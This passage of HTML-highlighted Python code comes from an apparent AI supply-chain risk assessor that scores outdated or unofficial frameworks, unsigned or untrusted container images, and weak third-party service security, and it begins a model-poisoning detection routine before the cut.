                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">framework_name</span><span class="si">}</span><span class="s"> version </span><span class="si">{</span><span class="n">framework_version</span><span class="si">}</span><span class="s"> is outdated (latest: </span><span class="si">{</span><span class="n">latest_version</span><span class="si">}</span><span class="s">)</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">framework</span><span class="sh">'</span><span class="p">:</span> <span class="n">framework_name</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">current_version</span><span class="sh">'</span><span class="p">:</span> <span class="n">framework_version</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">latest_version</span><span class="sh">'</span><span class="p">:</span> <span class="n">latest_version</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
            
            <span class="c1"># Check for official vs. unofficial distributions
</span>            <span class="n">is_official</span> <span class="o">=</span> <span class="n">framework</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">official_distribution</span><span class="sh">'</span><span class="p">,</span> <span class="bp">True</span><span class="p">)</span>
            <span class="k">if</span> <span class="ow">not</span> <span class="n">is_official</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unofficial_distribution</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="si">{</span><span class="n">framework_name</span><span class="si">}</span><span class="s"> from unofficial distribution</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">framework</span><span class="sh">'</span><span class="p">:</span> <span class="n">framework_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">25</span>
        
        <span class="k">return</span> <span class="n">risk_factors</span>
    
    <span class="k">def</span> <span class="nf">_assess_container_risk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">container_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess risks specific to container images</span><span class="sh">"""</span>
        
        <span class="n">risk_factors</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">image_scan_results</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">base_image_risks</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="n">images</span> <span class="o">=</span> <span class="n">container_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">images</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        
        <span class="k">for</span> <span class="n">image</span> <span class="ow">in</span> <span class="n">images</span><span class="p">:</span>
            <span class="n">image_name</span> <span class="o">=</span> <span class="n">image</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="n">image_tag</span> <span class="o">=</span> <span class="n">image</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">tag</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">latest</span><span class="sh">'</span><span class="p">)</span>
            <span class="n">registry</span> <span class="o">=</span> <span class="n">image</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">registry</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            
            <span class="c1"># Scan container image for vulnerabilities
</span>            <span class="n">scan_results</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_scan_container_image</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">registry</span><span class="si">}</span><span class="s">/</span><span class="si">{</span><span class="n">image_name</span><span class="si">}</span><span class="s">:</span><span class="si">{</span><span class="n">image_tag</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="n">scan_results</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">image_scan_results</span><span class="sh">'</span><span class="p">][</span><span class="n">image_name</span><span class="p">]</span> <span class="o">=</span> <span class="n">scan_results</span>
                
                <span class="c1"># Calculate risk based on vulnerabilities
</span>                <span class="k">for</span> <span class="n">vuln</span> <span class="ow">in</span> <span class="n">scan_results</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">,</span> <span class="p">[]):</span>
                    <span class="k">if</span> <span class="n">vuln</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">CRITICAL</span><span class="sh">'</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">25</span>
                    <span class="k">elif</span> <span class="n">vuln</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">HIGH</span><span class="sh">'</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
                    <span class="k">elif</span> <span class="n">vuln</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">MEDIUM</span><span class="sh">'</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">8</span>
                    <span class="k">else</span><span class="p">:</span>
                        <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">3</span>
                
                <span class="n">critical_vulns</span> <span class="o">=</span> <span class="nf">len</span><span class="p">([</span><span class="n">v</span> <span class="k">for</span> <span class="n">v</span> <span class="ow">in</span> <span class="n">scan_results</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span> 
                                    <span class="k">if</span> <span class="n">v</span><span class="p">[</span><span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">]</span> <span class="o">==</span> <span class="sh">'</span><span class="s">CRITICAL</span><span class="sh">'</span><span class="p">])</span>
                
                <span class="k">if</span> <span class="n">critical_vulns</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                        <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">critical_container_vulnerabilities</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">critical</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Container </span><span class="si">{</span><span class="n">image_name</span><span class="si">}</span><span class="s"> has </span><span class="si">{</span><span class="n">critical_vulns</span><span class="si">}</span><span class="s"> critical vulnerabilities</span><span class="sh">'</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">image</span><span class="sh">'</span><span class="p">:</span> <span class="n">image_name</span><span class="p">,</span>
                        <span class="sh">'</span><span class="s">critical_count</span><span class="sh">'</span><span class="p">:</span> <span class="n">critical_vulns</span>
                    <span class="p">})</span>
            
            <span class="c1"># Check base image trust
</span>            <span class="n">base_image</span> <span class="o">=</span> <span class="n">image</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">base_image</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">base_image</span> <span class="ow">and</span> <span class="ow">not</span> <span class="n">self</span><span class="p">.</span><span class="nf">_is_trusted_base_image</span><span class="p">(</span><span class="n">base_image</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">untrusted_base_image</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Container </span><span class="si">{</span><span class="n">image_name</span><span class="si">}</span><span class="s"> uses untrusted base image </span><span class="si">{</span><span class="n">base_image</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">image</span><span class="sh">'</span><span class="p">:</span> <span class="n">image_name</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">base_image</span><span class="sh">'</span><span class="p">:</span> <span class="n">base_image</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
            
            <span class="c1"># Check for image signing
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">image</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">signed</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">unsigned_container_image</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Container </span><span class="si">{</span><span class="n">image_name</span><span class="si">}</span><span class="s"> is not signed</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">image</span><span class="sh">'</span><span class="p">:</span> <span class="n">image_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">20</span>
        
        <span class="k">return</span> <span class="n">risk_factors</span>
    
    <span class="k">def</span> <span class="nf">_assess_third_party_service_risk</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">service_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess risks specific to third-party AI services</span><span class="sh">"""</span>
        
        <span class="n">risk_factors</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">service_trust_scores</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">compliance_status</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="n">services</span> <span class="o">=</span> <span class="n">service_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">services</span><span class="sh">'</span><span class="p">,</span> <span class="p">[])</span>
        
        <span class="k">for</span> <span class="n">service</span> <span class="ow">in</span> <span class="n">services</span><span class="p">:</span>
            <span class="n">service_name</span> <span class="o">=</span> <span class="n">service</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">name</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="n">service_provider</span> <span class="o">=</span> <span class="n">service</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            
            <span class="c1"># Check service provider reputation
</span>            <span class="n">provider_trust_score</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_evaluate_service_provider_trust</span><span class="p">(</span><span class="n">service_provider</span><span class="p">)</span>
            <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">service_trust_scores</span><span class="sh">'</span><span class="p">][</span><span class="n">service_name</span><span class="p">]</span> <span class="o">=</span> <span class="n">provider_trust_score</span>
            
            <span class="k">if</span> <span class="n">provider_trust_score</span> <span class="o">&lt;</span> <span class="mi">70</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">low_trust_service_provider</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Service </span><span class="si">{</span><span class="n">service_name</span><span class="si">}</span><span class="s"> from low-trust provider </span><span class="si">{</span><span class="n">service_provider</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">service</span><span class="sh">'</span><span class="p">:</span> <span class="n">service_name</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">provider</span><span class="sh">'</span><span class="p">:</span> <span class="n">service_provider</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">trust_score</span><span class="sh">'</span><span class="p">:</span> <span class="n">provider_trust_score</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
            
            <span class="c1"># Check data residency and compliance
</span>            <span class="n">data_residency</span> <span class="o">=</span> <span class="n">service</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">data_residency</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="n">required_residency</span> <span class="o">=</span> <span class="n">service_config</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">required_data_residency</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="n">required_residency</span> <span class="ow">and</span> <span class="n">data_residency</span> <span class="o">!=</span> <span class="n">required_residency</span><span class="p">:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">data_residency_mismatch</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Service </span><span class="si">{</span><span class="n">service_name</span><span class="si">}</span><span class="s"> data residency </span><span class="si">{</span><span class="n">data_residency</span><span class="si">}</span><span class="s"> does not match requirement </span><span class="si">{</span><span class="n">required_residency</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">service</span><span class="sh">'</span><span class="p">:</span> <span class="n">service_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">20</span>
            
            <span class="c1"># Check encryption in transit and at rest
</span>            <span class="k">if</span> <span class="ow">not</span> <span class="n">service</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">encryption_in_transit</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">no_encryption_in_transit</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Service </span><span class="si">{</span><span class="n">service_name</span><span class="si">}</span><span class="s"> does not use encryption in transit</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">service</span><span class="sh">'</span><span class="p">:</span> <span class="n">service_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
            
            <span class="k">if</span> <span class="ow">not</span> <span class="n">service</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">encryption_at_rest</span><span class="sh">'</span><span class="p">,</span> <span class="bp">False</span><span class="p">):</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">no_encryption_at_rest</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">high</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Service </span><span class="si">{</span><span class="n">service_name</span><span class="si">}</span><span class="s"> does not use encryption at rest</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">service</span><span class="sh">'</span><span class="p">:</span> <span class="n">service_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">15</span>
            
            <span class="c1"># Check API security
</span>            <span class="n">api_authentication</span> <span class="o">=</span> <span class="n">service</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">api_authentication</span><span class="sh">'</span><span class="p">,</span> <span class="sh">''</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">api_authentication</span> <span class="ow">not</span> <span class="ow">in</span> <span class="p">[</span><span class="sh">'</span><span class="s">oauth2</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">api_key_with_rotation</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">mutual_tls</span><span class="sh">'</span><span class="p">]:</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">vulnerabilities</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">({</span>
                    <span class="sh">'</span><span class="s">type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">weak_api_authentication</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">severity</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">medium</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">description</span><span class="sh">'</span><span class="p">:</span> <span class="sa">f</span><span class="sh">'</span><span class="s">Service </span><span class="si">{</span><span class="n">service_name</span><span class="si">}</span><span class="s"> uses weak authentication: </span><span class="si">{</span><span class="n">api_authentication</span><span class="si">}</span><span class="sh">'</span><span class="p">,</span>
                    <span class="sh">'</span><span class="s">service</span><span class="sh">'</span><span class="p">:</span> <span class="n">service_name</span>
                <span class="p">})</span>
                <span class="n">risk_factors</span><span class="p">[</span><span class="sh">'</span><span class="s">risk_score</span><span class="sh">'</span><span class="p">]</span> <span class="o">+=</span> <span class="mi">10</span>
        
        <span class="k">return</span> <span class="n">risk_factors</span>
    
    <span class="k">def</span> <span class="nf">implement_model_poisoning_detection</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> 
                                            <span class="n">model_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span>
                                            <span class="n">validation_dataset</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Implement comprehensive model poisoning detection</span><span class="sh">"""</span>
        
        <span class="n">detection_job_name</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">model-poisoning-detection-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d-%H%M%S</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span>
        
        <span class="n">detection_results</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">detection_job_name</span><span class="sh">'</span><span class="p">:</span> <span class="n">detection_job_name</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">utcnow</span><span class="p">().</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">model_config</span><span class="sh">'</span><span class="p">:</span> <span class="n">model_config</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">poisoning_indicators</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">anomaly_scores</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">defense_recommendations</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">validation_results</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="c1"># Statistical analysis for poisoning detection
</span>        <span class="n">statistical_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_perform_statistical_poisoning_analysis</span><span class="p">(</span>
            <span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span>
        <span class="p">)</span>
        <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">statistical_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">statistical_analysis</span>
        
        <span class="c1"># Behavioral analysis
</span>        <span class="n">behavioral_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_perform_behavioral_poisoning_analysis</span><span class="p">(</span>
            <span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span>
        <span class="p">)</span>
        <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">behavioral_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">behavioral_analysis</span>
        
        <span class="c1"># Backdoor detection
</span>        <span class="n">backdoor_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_perform_backdoor_detection</span><span class="p">(</span>
            <span class="n">model_config</span><span class="p">,</span> <span class="n">validation_dataset</span>
        <span class="p">)</span>
        <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">backdoor_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">backdoor_analysis</span>
        
        <span class="c1"># Generate overall assessment
</span>        <span class="n">detection_results</span><span class="p">[</span><span class="sh">'</span><span class="s">overall_assessment</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_generate_poisoning_assessment</span><span class="p">(</span>
            <span class="n">statistical_analysis</span><span class="p">,</span> <span class="n">behavioral_analysis</span><span class="p">,</span> <span class="n">backdoor_analysis</span>
        <span class="p">)</span>
        
        <span class="k">return</span> <span class="n">detection_results</span>
    
    <span class="k">def</span> <span class="nf">_perform_statistical_poisoning_analysis</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">model_config</span><span class="p">:</span> <span class="n">Dict</span><span class="p">,</span> <span class="n">validation_dataset</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="n">Dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Perform statistical analysis to detect data poisoning</span><span class="sh">"""</span>
        
        <span class="n">analysis_results</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">data_distribution_anomalies</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">outlier_detection</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">feature_correlation_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">label_distribution_analysis</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># Load validation dataset for analysis
</span>            <span class="c1"># This is a simplified example - in production, implement robust data loading
</span>            <span class="n">validation_data</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_load_validation_dataset</span><span class="p">(</span><span class="n">validation_dataset</span><span class="p">)</span>
            
            <span class="k">if</span> <span class="n">validation_data</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span>
                <span class="c1"># Analyze data distribution
</span>                <span class="n">distribution_anomalies</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_detect_distribution_anomalies</span><span class="p">(</span><span class="n">validation_data</span><span class="p">)</span>
                <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">data_distribution_anomalies</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">distribution_anomalies</span>
                
                <span class="c1"># Outlier detection
</span>                <span class="n">outliers</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_detect_statistical_outliers</span><span class="p">(</span><span class="n">validation_data</span><span class="p">)</span>
                <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">outlier_detection</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">outliers</span>
                
                <span class="c1"># Feature correlation analysis
</span>                <span class="n">correlations</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_feature_correlations</span><span class="p">(</span><span class="n">validation_data</span><span class="p">)</span>
                <span class="n">analysis_results</span><span class="p">[</span><span class="sh">'</span><span class="s">feature_correlation_analysis</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="n">correlations</span>
                
                <span class="c1"># Label distribution analysis
</span>                <span class="n">label_analysis</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">_analyze_label_distribution</span><span class="p">(</span><span class="n">validation_data</span><span class="p">)</span>
